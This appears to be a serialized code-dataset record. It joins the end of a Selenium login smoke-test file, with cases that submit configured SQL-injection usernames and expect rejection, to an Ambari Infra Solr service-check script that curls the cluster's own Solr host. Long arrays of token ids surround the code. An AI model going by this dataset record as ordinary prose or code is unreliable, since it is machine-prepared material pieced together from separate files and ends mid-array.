shared.Shared.wait_for_element(self.browser.get_browser(), 'id', 'navigation', waittime = 300)
time.sleep(5)
self.loginpage.logout(directly_logout = True)
shared.Shared.wait_for_element(self.browser.browser, 'class_name', 'login', waittime = 300)
def test_failure_1(self):
self.browser.set_url(smokecfg['cssite'])
self.loginpage = loginpage.LoginPage(self.browser.get_browser())
# wait for at most 5 minutes, in case we have an anoyingly slow server
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'select-language', waittime = 300)
# language selection must be done before username and password
self.loginpage.set_language(smokecfg['language'])
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'fields', waittime = 300)
self.loginpage.set_username(smokecfg['badusername'])
self.loginpage.set_password(smokecfg['password'])
self.loginpage.login(expect_fail = True)
def test_failure_2(self):
self.browser.set_url(smokecfg['cssite'])
self.loginpage = loginpage.LoginPage(self.browser.get_browser())
# wait for at most 5 minutes, in case we have an anoyingly slow server
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'select-language', waittime = 300)
# language selection must be done before username and password
self.loginpage.set_language(smokecfg['language'])
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'fields', waittime = 300)
self.loginpage.set_username(smokecfg['username'])
self.loginpage.set_password(smokecfg['badpassword'])
self.loginpage.login(expect_fail = True)
def test_failure_3(self):
self.browser.set_url(smokecfg['cssite'])
self.loginpage = loginpage.LoginPage(self.browser.get_browser())
# wait for at most 5 minutes, in case we have an anoyingly slow server
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'select-language', waittime = 300)
# language selection must be done before username and password
self.loginpage.set_language(smokecfg['language'])
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'fields', waittime = 300)
self.loginpage.set_username(smokecfg['badusername'])
self.loginpage.set_password(smokecfg['badpassword'])
self.loginpage.login(expect_fail = True)
def test_failure_4(self):
self.browser.set_url(smokecfg['cssite'])
self.loginpage = loginpage.LoginPage(self.browser.get_browser())
# wait for at most 5 minutes, in case we have an anoyingly slow server
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'select-language', waittime = 300)
# language selection must be done before username and password
self.loginpage.set_language(smokecfg['language'])
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'fields', waittime = 300)
self.loginpage.set_username(smokecfg['sqlinjection_1'])
self.loginpage.set_password(smokecfg['password'])
self.loginpage.login(expect_fail = True)
def test_failure_5(self):
self.browser.set_url(smokecfg['cssite'])
self.loginpage = loginpage.LoginPage(self.browser.get_browser())
# wait for at most 5 minutes, in case we have an anoyingly slow server
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'select-language', waittime = 300)
# language selection must be done before username and password
self.loginpage.set_language(smokecfg['language'])
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'fields', waittime = 300)
self.loginpage.set_username(smokecfg['sqlinjection_2'])
self.loginpage.set_password(smokecfg['password'])
self.loginpage.login(expect_fail = True)
def test_failure_6(self):
self.browser.set_url(smokecfg['cssite'])
self.loginpage = loginpage.LoginPage(self.browser.get_browser())
# wait for at most 5 minutes, in case we have an anoyingly slow server
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'select-language', waittime = 300)
# language selection must be done before username and password
self.loginpage.set_language(smokecfg['language'])
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'fields', waittime = 300)
self.loginpage.set_username(smokecfg['sqlinjection_3'])
self.loginpage.set_password(smokecfg['password'])
self.loginpage.login(expect_fail = True)
def test_failure_7(self):
self.browser.set_url(smokecfg['cssite'])
self.loginpage = loginpage.LoginPage(self.browser.get_browser())
# wait for at most 5 minutes, in case we have an anoyingly slow server
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'select-language', waittime = 300)
# language selection must be done before username and password
self.loginpage.set_language(smokecfg['language'])
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'fields', waittime = 300)
self.loginpage.set_username(smokecfg['sqlinjection_4'])
self.loginpage.set_password(smokecfg['password'])
self.loginpage.login(expect_fail = True)
def test_failure_8(self):
self.browser.set_url(smokecfg['cssite'])
self.loginpage = loginpage.LoginPage(self.browser.get_browser())
# wait for at most 5 minutes, in case we have an anoyingly slow server
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'select-language', waittime = 300)
# language selection must be done before username and password
self.loginpage.set_language(smokecfg['language'])
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'fields', waittime = 300)
self.loginpage.set_username(smokecfg['sqlinjection_5'])
self.loginpage.set_password(smokecfg['password'])
self.loginpage.login(expect_fail = True)
if __name__ == '__main__':
unittest.main()
|
apache-2.0
|
[
3,
3909,
370,
314,
3668,
2290,
2752,
334,
14950,
9,
1334,
1373,
199,
3,
503,
1655,
11615,
4190,
14024,
14,
221,
1666,
314,
12840,
570,
199,
3,
1854,
543,
642,
1736,
367,
4722,
2556,
199,
3,
12602,
4248,
12715,
14,
221,
710,
14857,
12378,
642,
570,
199,
3,
370,
1265,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
199,
3,
298,
3761,
3547,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
199,
3,
543,
314,
844,
14,
221,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
257,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
199,
3,
2032,
1854,
1334,
314,
844,
365,
1854,
641,
376,
199,
3,
298,
1179,
2281,
2,
4207,
12,
2428,
2990,
1549,
4217,
1634,
1821,
199,
3,
3826,
12,
1902,
4056,
503,
2478,
14,
221,
1666,
314,
844,
367,
314,
199,
3,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
1334,
314,
844,
14,
199,
199,
646,
2882,
199,
646,
984,
12,
747,
12,
900,
199,
646,
2022,
199,
199,
1274,
14,
515,
14,
740,
5175,
6217,
199,
199,
646,
7042,
14,
15394,
465,
8344,
9849,
199,
646,
7117,
5856,
14,
2886,
14,
2886,
1606,
465,
4676,
1606,
199,
646,
2863,
14,
5555,
465,
5709,
199,
504,
7117,
2219,
14,
30697,
2219,
14,
30697,
4128,
492,
308,
17767,
4128,
199,
199,
3,
687,
7117,
2219,
14,
30697,
2219,
492,
308,
17767,
4128,
465,
308,
17767,
4128,
199,
199,
533,
1379,
3298,
8880,
2445,
548,
8,
2796,
14,
1746,
304,
272,
347,
3613,
8,
277,
304,
267,
327,
2790,
282,
892,
1256,
402,
314,
24584,
7042,
267,
291,
14,
5750,
275,
8344,
9849,
14,
27983,
360,
15394,
358,
339,
347,
6766,
8,
277,
304,
267,
291,
14,
5750,
14,
10589,
63,
5750,
342,
339,
347,
511,
63,
3742,
8,
277,
304,
267,
291,
14,
5750,
14,
409,
63,
633,
8,
30697,
4128,
459,
1259,
2124,
1105,
267,
291,
14,
2886,
1606,
275,
4676,
1606,
14,
8880,
3276,
8,
277,
14,
5750,
14,
362,
63,
5750,
1012,
398,
327,
3618,
367,
737,
4750,
959,
9395,
12,
315,
1930,
781,
1172,
376,
376,
79,
22440,
590,
11999,
1654,
267,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
362,
63,
5750,
1062,
283,
533,
63,
354,
297,
283,
2416,
13,
3671,
297,
3618,
521,
275,
9601,
9,
398,
327,
2637,
7267,
1471,
506,
4224,
2544,
3434,
436,
2505,
267,
291,
14,
2886,
1606,
14,
409,
63,
3671,
8,
30697,
4128,
459,
3671,
1105,
398,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
362,
63,
5750,
1062,
283,
533,
63,
354,
297,
283,
955,
297,
3618,
521,
275,
9601,
9,
398,
291,
14,
2886,
1606,
14,
409,
63,
2473,
8,
30697,
4128,
459,
2473,
1105,
267,
291,
14,
2886,
1606,
14,
409,
63,
2060,
8,
30697,
4128,
459,
2060,
1105,
267,
291,
14,
2886,
1606,
14,
2886,
342,
267,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
362,
63,
5750,
1062,
283,
344,
297,
283,
24148,
297,
3618,
521,
275,
9601,
9,
398,
900,
14,
4532,
8,
21,
9,
398,
291,
14,
2886,
1606,
14,
11646,
8,
2275,
590,
63,
11646,
275,
715,
9,
267,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
5750,
12,
283,
533,
63,
354,
297,
283,
2886,
297,
3618,
521,
275,
9601,
9,
339,
347,
511,
63,
5328,
63,
17,
8,
277,
304,
267,
291,
14,
5750,
14,
409,
63,
633,
8,
30697,
4128,
459,
1259,
2124,
1105,
267,
291,
14,
2886,
1606,
275,
4676,
1606,
14,
8880,
3276,
8,
277,
14,
5750,
14,
362,
63,
5750,
1012,
398,
327,
3618,
367,
737,
4750,
959,
9395,
12,
315,
1930,
781,
1172,
376,
376,
79,
22440,
590,
11999,
1654,
267,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
362,
63,
5750,
1062,
283,
533,
63,
354,
297,
283,
2416,
13,
3671,
297,
3618,
521,
275,
9601,
9,
398,
327,
2637,
7267,
1471,
506,
4224,
2544,
3434,
436,
2505,
267,
291,
14,
2886,
1606,
14,
409,
63,
3671,
8,
30697,
4128,
459,
3671,
1105,
398,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
362,
63,
5750,
1062,
283,
533,
63,
354,
297,
283,
955,
297,
3618,
521,
275,
9601,
9,
398,
291,
14,
2886,
1606,
14,
409,
63,
2473,
8,
30697,
4128,
459,
4087,
2473,
1105,
267,
291,
14,
2886,
1606,
14,
409,
63,
2060,
8,
30697,
4128,
459,
2060,
1105,
267,
291,
14,
2886,
1606,
14,
2886,
8,
4921,
63,
1633,
275,
715,
9,
339,
347,
511,
63,
5328,
63,
18,
8,
277,
304,
267,
291,
14,
5750,
14,
409,
63,
633,
8,
30697,
4128,
459,
1259,
2124,
1105,
267,
291,
14,
2886,
1606,
275,
4676,
1606,
14,
8880,
3276,
8,
277,
14,
5750,
14,
362,
63,
5750,
1012,
398,
327,
3618,
367,
737,
4750,
959,
9395,
12,
315,
1930,
781,
1172,
376,
376,
79,
22440,
590,
11999,
1654,
267,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
362,
63,
5750,
1062,
283,
533,
63,
354,
297,
283,
2416,
13,
3671,
297,
3618,
521,
275,
9601,
9,
398,
327,
2637,
7267,
1471,
506,
4224,
2544,
3434,
436,
2505,
267,
291,
14,
2886,
1606,
14,
409,
63,
3671,
8,
30697,
4128,
459,
3671,
1105,
398,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
362,
63,
5750,
1062,
283,
533,
63,
354,
297,
283,
955,
297,
3618,
521,
275,
9601,
9,
398,
291,
14,
2886,
1606,
14,
409,
63,
2473,
8,
30697,
4128,
459,
2473,
1105,
267,
291,
14,
2886,
1606,
14,
409,
63,
2060,
8,
30697,
4128,
459,
4087,
2060,
1105,
267,
291,
14,
2886,
1606,
14,
2886,
8,
4921,
63,
1633,
275,
715,
9,
339,
347,
511,
63,
5328,
63,
19,
8,
277,
304,
267,
291,
14,
5750,
14,
409,
63,
633,
8,
30697,
4128,
459,
1259,
2124,
1105,
267,
291
] |
[
3909,
370,
314,
3668,
2290,
2752,
334,
14950,
9,
1334,
1373,
199,
3,
503,
1655,
11615,
4190,
14024,
14,
221,
1666,
314,
12840,
570,
199,
3,
1854,
543,
642,
1736,
367,
4722,
2556,
199,
3,
12602,
4248,
12715,
14,
221,
710,
14857,
12378,
642,
570,
199,
3,
370,
1265,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
199,
3,
298,
3761,
3547,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
199,
3,
543,
314,
844,
14,
221,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
257,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
199,
3,
2032,
1854,
1334,
314,
844,
365,
1854,
641,
376,
199,
3,
298,
1179,
2281,
2,
4207,
12,
2428,
2990,
1549,
4217,
1634,
1821,
199,
3,
3826,
12,
1902,
4056,
503,
2478,
14,
221,
1666,
314,
844,
367,
314,
199,
3,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
1334,
314,
844,
14,
199,
199,
646,
2882,
199,
646,
984,
12,
747,
12,
900,
199,
646,
2022,
199,
199,
1274,
14,
515,
14,
740,
5175,
6217,
199,
199,
646,
7042,
14,
15394,
465,
8344,
9849,
199,
646,
7117,
5856,
14,
2886,
14,
2886,
1606,
465,
4676,
1606,
199,
646,
2863,
14,
5555,
465,
5709,
199,
504,
7117,
2219,
14,
30697,
2219,
14,
30697,
4128,
492,
308,
17767,
4128,
199,
199,
3,
687,
7117,
2219,
14,
30697,
2219,
492,
308,
17767,
4128,
465,
308,
17767,
4128,
199,
199,
533,
1379,
3298,
8880,
2445,
548,
8,
2796,
14,
1746,
304,
272,
347,
3613,
8,
277,
304,
267,
327,
2790,
282,
892,
1256,
402,
314,
24584,
7042,
267,
291,
14,
5750,
275,
8344,
9849,
14,
27983,
360,
15394,
358,
339,
347,
6766,
8,
277,
304,
267,
291,
14,
5750,
14,
10589,
63,
5750,
342,
339,
347,
511,
63,
3742,
8,
277,
304,
267,
291,
14,
5750,
14,
409,
63,
633,
8,
30697,
4128,
459,
1259,
2124,
1105,
267,
291,
14,
2886,
1606,
275,
4676,
1606,
14,
8880,
3276,
8,
277,
14,
5750,
14,
362,
63,
5750,
1012,
398,
327,
3618,
367,
737,
4750,
959,
9395,
12,
315,
1930,
781,
1172,
376,
376,
79,
22440,
590,
11999,
1654,
267,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
362,
63,
5750,
1062,
283,
533,
63,
354,
297,
283,
2416,
13,
3671,
297,
3618,
521,
275,
9601,
9,
398,
327,
2637,
7267,
1471,
506,
4224,
2544,
3434,
436,
2505,
267,
291,
14,
2886,
1606,
14,
409,
63,
3671,
8,
30697,
4128,
459,
3671,
1105,
398,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
362,
63,
5750,
1062,
283,
533,
63,
354,
297,
283,
955,
297,
3618,
521,
275,
9601,
9,
398,
291,
14,
2886,
1606,
14,
409,
63,
2473,
8,
30697,
4128,
459,
2473,
1105,
267,
291,
14,
2886,
1606,
14,
409,
63,
2060,
8,
30697,
4128,
459,
2060,
1105,
267,
291,
14,
2886,
1606,
14,
2886,
342,
267,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
362,
63,
5750,
1062,
283,
344,
297,
283,
24148,
297,
3618,
521,
275,
9601,
9,
398,
900,
14,
4532,
8,
21,
9,
398,
291,
14,
2886,
1606,
14,
11646,
8,
2275,
590,
63,
11646,
275,
715,
9,
267,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
5750,
12,
283,
533,
63,
354,
297,
283,
2886,
297,
3618,
521,
275,
9601,
9,
339,
347,
511,
63,
5328,
63,
17,
8,
277,
304,
267,
291,
14,
5750,
14,
409,
63,
633,
8,
30697,
4128,
459,
1259,
2124,
1105,
267,
291,
14,
2886,
1606,
275,
4676,
1606,
14,
8880,
3276,
8,
277,
14,
5750,
14,
362,
63,
5750,
1012,
398,
327,
3618,
367,
737,
4750,
959,
9395,
12,
315,
1930,
781,
1172,
376,
376,
79,
22440,
590,
11999,
1654,
267,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
362,
63,
5750,
1062,
283,
533,
63,
354,
297,
283,
2416,
13,
3671,
297,
3618,
521,
275,
9601,
9,
398,
327,
2637,
7267,
1471,
506,
4224,
2544,
3434,
436,
2505,
267,
291,
14,
2886,
1606,
14,
409,
63,
3671,
8,
30697,
4128,
459,
3671,
1105,
398,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
362,
63,
5750,
1062,
283,
533,
63,
354,
297,
283,
955,
297,
3618,
521,
275,
9601,
9,
398,
291,
14,
2886,
1606,
14,
409,
63,
2473,
8,
30697,
4128,
459,
4087,
2473,
1105,
267,
291,
14,
2886,
1606,
14,
409,
63,
2060,
8,
30697,
4128,
459,
2060,
1105,
267,
291,
14,
2886,
1606,
14,
2886,
8,
4921,
63,
1633,
275,
715,
9,
339,
347,
511,
63,
5328,
63,
18,
8,
277,
304,
267,
291,
14,
5750,
14,
409,
63,
633,
8,
30697,
4128,
459,
1259,
2124,
1105,
267,
291,
14,
2886,
1606,
275,
4676,
1606,
14,
8880,
3276,
8,
277,
14,
5750,
14,
362,
63,
5750,
1012,
398,
327,
3618,
367,
737,
4750,
959,
9395,
12,
315,
1930,
781,
1172,
376,
376,
79,
22440,
590,
11999,
1654,
267,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
362,
63,
5750,
1062,
283,
533,
63,
354,
297,
283,
2416,
13,
3671,
297,
3618,
521,
275,
9601,
9,
398,
327,
2637,
7267,
1471,
506,
4224,
2544,
3434,
436,
2505,
267,
291,
14,
2886,
1606,
14,
409,
63,
3671,
8,
30697,
4128,
459,
3671,
1105,
398,
5709,
14,
12197,
14,
2573,
63,
509,
63,
2108,
8,
277,
14,
5750,
14,
362,
63,
5750,
1062,
283,
533,
63,
354,
297,
283,
955,
297,
3618,
521,
275,
9601,
9,
398,
291,
14,
2886,
1606,
14,
409,
63,
2473,
8,
30697,
4128,
459,
2473,
1105,
267,
291,
14,
2886,
1606,
14,
409,
63,
2060,
8,
30697,
4128,
459,
4087,
2060,
1105,
267,
291,
14,
2886,
1606,
14,
2886,
8,
4921,
63,
1633,
275,
715,
9,
339,
347,
511,
63,
5328,
63,
19,
8,
277,
304,
267,
291,
14,
5750,
14,
409,
63,
633,
8,
30697,
4128,
459,
1259,
2124,
1105,
267,
291,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
alexryndin/ambari
|
ambari-server/src/main/resources/common-services/AMBARI_INFRA/0.1.0/package/scripts/service_check.py
|
3
|
2080
|
"""
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from resource_management.core.logger import Logger
from resource_management.core.resources.system import Execute
from resource_management.libraries.functions.format import format
from resource_management.libraries.script.script import Script
class InfraServiceCheck(Script):
def service_check(self, env):
import params
env.set_params(params)
Logger.info('Infra Service Check ...')
if "infra-solr-env" in params.config['configurations'] \
and params.infra_solr_hosts is not None \
and len(params.infra_solr_hosts) > 0:
solr_protocol = "https" if params.infra_solr_ssl_enabled else "http"
solr_host = params.infra_solr_hosts[0] # choose the first solr host
solr_port = params.infra_solr_port
solr_url = format("{solr_protocol}://{solr_host}:{solr_port}/solr/#/")
smokeuser_kinit_cmd = format("{kinit_path_local} -kt {smoke_user_keytab} {smokeuser_principal};") if params.security_enabled else ""
smoke_infra_solr_cmd = format("{smokeuser_kinit_cmd} curl -s -o /dev/null -w'%{{http_code}}' --negotiate -u: -k {solr_url} | grep 200")
Execute(smoke_infra_solr_cmd,
tries = 40,
try_sleep=3,
user=params.smokeuser,
logoutput=True)
if __name__ == "__main__":
InfraServiceCheck().execute()
|
apache-2.0
|
[
624,
199,
31661,
370,
314,
3668,
2290,
2752,
334,
14950,
9,
1334,
1373,
199,
269,
1655,
11615,
4190,
14024,
14,
221,
1666,
314,
12840,
570,
199,
16832,
543,
642,
1736,
367,
4722,
2556,
199,
1135,
1005,
316,
4248,
12715,
14,
221,
710,
14857,
12378,
642,
570,
199,
475,
1265,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
199,
2,
3761,
3547,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
199,
1045,
314,
844,
14,
221,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
339,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
199,
5524,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
16832,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
29946,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
9295,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3097,
1298,
1334,
314,
844,
14,
199,
199,
624,
199,
199,
504,
2073,
63,
8110,
14,
1018,
14,
2921,
492,
15996,
199,
504,
2073,
63,
8110,
14,
1018,
14,
4435,
14,
2253,
492,
17009,
199,
504,
2073,
63,
8110,
14,
10159,
14,
5777,
14,
908,
492,
1475,
199,
504,
2073,
63,
8110,
14,
10159,
14,
1579,
14,
1579,
492,
14914,
199,
199,
533,
1010,
21844,
3167,
1799,
8,
5229,
304,
523,
347,
2435,
63,
1074,
8,
277,
12,
2589,
304,
272,
492,
1862,
272,
2589,
14,
409,
63,
1162,
8,
1162,
9,
339,
15996,
14,
815,
360,
17354,
345,
7591,
2670,
2263,
358,
272,
340,
298,
19505,
13,
28627,
13,
1813,
2,
315,
1862,
14,
888,
459,
10057,
418,
971,
489,
436,
1862,
14,
19505,
63,
28627,
63,
5146,
365,
440,
488,
971,
489,
436,
822,
8,
1162,
14,
19505,
63,
28627,
63,
5146,
9,
690,
378,
26,
489,
8597,
82,
63,
3922,
275,
298,
2859,
2,
340,
1862,
14,
19505,
63,
28627,
63,
4266,
63,
3827,
587,
298,
1014,
2,
489,
8597,
82,
63,
1102,
275,
1862,
14,
19505,
63,
28627,
63,
5146,
59,
16,
61,
327,
11496,
314,
1642,
8597,
82,
1591,
489,
8597,
82,
63,
719,
275,
1862,
14,
19505,
63,
28627,
63,
719,
489,
8597,
82,
63,
633,
275,
1475,
13076,
28627,
63,
3922,
93,
20193,
28627,
63,
1102,
16495,
28627,
63,
719,
5995,
28627,
12645,
13589,
2541,
308,
17767,
751,
63,
75,
826,
63,
1760,
275,
1475,
13076,
75,
826,
63,
515,
63,
1832,
93,
446,
5973,
469,
30697,
63,
751,
63,
498,
2902,
93,
469,
30697,
751,
63,
19200,
12084,
531,
340,
1862,
14,
4416,
63,
3827,
587,
3087,
489,
308,
17767,
63,
19505,
63,
28627,
63,
1760,
275,
1475,
13076,
30697,
751,
63,
75,
826,
63,
1760,
93,
26145,
446,
83,
446,
79,
1182,
2374,
15,
2307,
446,
87,
5956,
3638,
1014,
63,
600,
4863,
7,
1553,
21961,
323,
446,
85,
26,
446,
75,
469,
28627,
63,
633,
93,
1204,
20595,
1926,
531,
489,
17009,
8,
30697,
63,
19505,
63,
28627,
63,
1760,
12,
1598,
11275,
275,
6335,
12,
1598,
862,
63,
4532,
29,
19,
12,
1598,
922,
29,
1162,
14,
30697,
751,
12,
1598,
943,
1199,
29,
549,
9,
199,
199,
692,
636,
354,
363,
508,
4396,
973,
5727,
523,
1010,
21844,
3167,
1799,
1252,
2526,
342,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
199,
31661,
370,
314,
3668,
2290,
2752,
334,
14950,
9,
1334,
1373,
199,
269,
1655,
11615,
4190,
